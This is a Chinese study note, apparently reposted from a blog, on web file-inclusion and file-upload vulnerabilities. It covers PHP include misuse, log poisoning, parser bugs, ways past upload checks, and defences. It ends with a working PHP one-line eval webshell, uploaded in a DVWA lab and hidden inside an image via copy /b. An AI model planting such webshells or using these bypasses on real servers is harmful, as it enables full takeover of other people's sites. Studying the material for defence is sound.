文件包含漏洞和上传漏洞
文章目錄
- 文件包含漏洞
- PHP文件包含漏洞
- 遠(yuǎn)程文件包含漏洞
- 截?cái)喟?/li>
- JSP文件包含
- 文件包含漏洞預(yù)防
- 文件上傳漏洞
- 解析漏洞
- 服務(wù)端檢測
- 目錄驗(yàn)證
- 文件內(nèi)容檢測
- 預(yù)防方法
- 一句話木馬
sql注入,有sql盲注,基于布爾的注入,還有基于時(shí)間的注入,union的使用條件 字段數(shù)保持一致,可以用其他數(shù)據(jù)湊數(shù)補(bǔ)上。
文件包含漏洞
PHP文件包含漏洞
? 文件包含:共用函數(shù)寫到單個(gè)文件中,然后多次調(diào)用,
? 文件包含漏洞:包含的文件可以被替換成惡意文件。
PHP提供了四個(gè)文件包含函數(shù),分別是include() 找不到被包含的文件只會(huì)產(chǎn)生警告
include 找不到被包含的文件時(shí)只會(huì)產(chǎn)生警告(E_WARNING),腳本將繼續(xù)執(zhí)行; require 找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤(E_ COMPILE_ERROR),并停止腳本; include _once: 此語句和include()語句類似,唯一區(qū)別是如果該文件中的代碼已經(jīng)被包含,則不會(huì)再次包含; require_once: 此行語句和require()語句類似,唯一區(qū) 別是如果該文件中的代碼已經(jīng)被包含,則不會(huì)再次包含。? 比如可以上傳一個(gè)txt文件,可以上傳一個(gè)含有PHP語句??梢試L試去讓網(wǎng)站執(zhí)行txt中的語句。黑客會(huì)對數(shù)據(jù)庫配置文件感興趣。把參數(shù)的值改為配置文件所在目錄,可以讓利用漏洞讓信息顯現(xiàn)出來。
遠(yuǎn)程文件包含漏洞
? 7.3以下的版本可以包含遠(yuǎn)程文件
? 發(fā)生問題一般,一般用遠(yuǎn)程文件。
要想利用文件包含漏洞的利用
Include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件; 用戶能夠控制該動(dòng)態(tài)變量讀取敏感文件 在某些警告中包含敏感路徑
本地包含配合文件上傳 很多文件不允許遠(yuǎn)程包含,但很多網(wǎng)站提供上傳功能比如上傳頭像,文檔等。
包含Apache日志文件
? 上傳的木馬,可能被網(wǎng)站殺毒軟件刪除,可以利用access日志文件access.log
? 去包含日志文件,讓文件中出現(xiàn)一些代碼,那么黑客可以把代碼放到url里面,然后日志文件記錄下url+代碼
? 這些代碼要用url編碼,這個(gè)是黑客不想看到的,被編碼后的代碼就不能被執(zhí)行,所有可以用fiddler攔截請求,把被編碼的代碼修改成編碼之前的。修改請求,對請求打向上的斷點(diǎn)。在Headers里面還原代碼 再發(fā)送。
截?cái)喟?/h2>
? 很多程序員認(rèn)為文件包含漏洞比較好修復(fù),固定拓展名即可,但是會(huì)被攻擊者繞過去。
include $_GET['test'] . ".php";? 攻擊者可以采取截?cái)嗟姆椒ㄍ黄拼a。PHP 5.30出于安全考慮中已經(jīng)廢棄了截?cái)喙δ?/p>
JSP文件包含
? 靜態(tài)包含:只允許包含一個(gè)靜態(tài)文件
? 動(dòng)態(tài)包含:對于PHP即使是圖片只要里面有PHP代碼就會(huì)執(zhí)行,但是JSP只會(huì)當(dāng)成文本,因此JSP更安全。
文件包含漏洞預(yù)防
? 嚴(yán)格判斷參數(shù)
? 路徑限制:要包含的文件只能在指定路徑下,禁止目錄跳轉(zhuǎn) “…/ ”;
? 包含文件驗(yàn)證:驗(yàn)證是不是白名單的一員。
文件上傳漏洞
? 對上傳文件的控制不足,用戶上傳動(dòng)態(tài)腳本文件 惡意代碼。(WebShell后門)
? 服務(wù)器怎么處理解釋文件?
解析漏洞
? web服務(wù)器存在漏洞
? IIS6.0 解析文件時(shí)存在以下兩個(gè)漏洞,*.asa *.asp文件下文件都會(huì)被當(dāng)作可執(zhí)行的asp文件下解析
? *.asp;1.jpg 會(huì)被當(dāng)做ASP腳本來執(zhí)行。asp會(huì)把;后面的文件名舍棄掉。
Apache1.x\ 2.x中存在解析漏洞
? <?php phpinfo();?> 保存文件為1.php.rar
? 輸入http://localhost/1.php.rar 服務(wù)器不認(rèn)識rar就向前找到了php 就當(dāng)成php文件執(zhí)行。1.php.qwer放到網(wǎng)站目錄下
mine.types 文件里面存有apache所認(rèn)識的所有后綴,如果不認(rèn)識就向前找。訪問http://localhost/1.php.qwer
qwer在 mine.types 文件 中不存在,它就繼續(xù)尋找包含的文件名后綴,于是找到了php后綴。就開始執(zhí)行惡意代碼了。
? 這個(gè)可以通過配置文件來避免這個(gè)漏洞。
導(dǎo)致漏洞的原因:
? 1.服務(wù)器配置不當(dāng)(put可以直接向服務(wù)器上傳文件,不過默認(rèn)是關(guān)閉的)
? 2…本地文件上傳限制被繞過。把前端判斷文件類型的檢查代碼在瀏覽器刪除?;蛘咴诒镜貥?gòu)建一個(gè)沒有onsubmit的表單因此不要只在前端檢查。
? 3.服務(wù)端過濾不嚴(yán)格被繞過
? 4.文件路徑截?cái)?br /> ? 5.文件解析漏洞導(dǎo)致文件執(zhí)行
策略
? 客戶端檢測:一般是比較基本的檢查,減輕服務(wù)器負(fù)擔(dān)
? 服務(wù)器端檢測:檢查文件名是否合法,真正防御攻擊者的,首先檢查拓展名是否合法
檢查拓展名
? 1.黑名單
? 2.白名單,攻擊者有很多方法繞過黑名單檢測。
服務(wù)端檢測
? mine.types 文件寫法是 audio/mpeg ->mp3
? 程序員一般檢測Content-Type 不過攻擊者可以繞過 fiddler不能改消息頭,但是Burpsuite抓到請求包可以修改。
目錄驗(yàn)證
? 程序允許用戶將文件放到指定目錄下,可以讓用戶指定目錄,攻擊者會(huì)上傳一個(gè)目錄作為可執(zhí)行文件。
文件內(nèi)容檢測
? 文件頭檢測,不同文件不同的文件頭,后臺根據(jù)文件頭判斷文件類型。
? 文件內(nèi)容加載/渲染
? 這個(gè)主要檢測文件結(jié)構(gòu)是否完整,例如PHP代碼覆蓋一部分圖片數(shù)據(jù)。
? 繞過方法:不破壞文件本身結(jié)構(gòu)的前提下 找一個(gè)空白區(qū)域存放惡意代碼
預(yù)防方法
? 1.設(shè)置文件為不可執(zhí)行。
? 2.判斷文件類型
? 3.使用隨機(jī)數(shù)改寫文件名和文件路徑
? 4.單獨(dú)設(shè)置文件服務(wù)器的域名。網(wǎng)站安全級別比較高可以單獨(dú)一臺服務(wù)器存放用戶上傳的文件,利用了同源策略。但是否可以這樣設(shè)置要看業(yè)務(wù)邏輯
一句話木馬
WebShell 是web入侵的腳本攻擊工具。就是一個(gè)asp或php木馬后門,把它和網(wǎng)站文件混在一起。
? 中國菜刀,一般裝在攻擊者電腦上,phpstudy要選擇低版本的可以用做測試服務(wù)器。
http://localhost/DVWA-master/vulnerabilities/upload/#
Hack.php
<?php @eval($_POST['pass']);?>@表示不報(bào)錯(cuò),eval()把字符串作為PHP代碼執(zhí)行
入侵條件: 上傳成功未被殺 知道上傳路徑 …/…/hackable/uploads/Hack.php succesfully uploaded!
? 上傳成功可以用菜刀連接了
中國菜刀填寫
http://localhost/DVWA-master/hackable/uploads/Hack.phppass<T>MYSQL</T> <H>localhost</H> <U>root</U> <P>root</P>就可以通過菜刀控制服務(wù)器了。
如果網(wǎng)站防護(hù)措施比較高 那么文件上傳時(shí)就不可以為.php文件??梢园袶ack.php文件與demo.jpg合并。
copy demo.jpg/b+Hack.php/a Hack.jpg在圖片文件上傳后創(chuàng)建muma.php文件
http://localhost/DVWA-master/hackable/uploads/Hack.jpg然后按上面的步驟重新執(zhí)行就行。
時(shí)就不可以為.php文件??梢园袶ack.php文件與demo.jpg合并。
在圖片文件上傳后創(chuàng)建muma.php文件
http://localhost/DVWA-master/hackable/uploads/Hack.jpg然后按上面的步驟重新執(zhí)行就行。
總結(jié)
以上是生活随笔為你收集整理的文件包含漏洞和上传漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: msfvenom生成muma
- 下一篇: shell一站式攻略——history历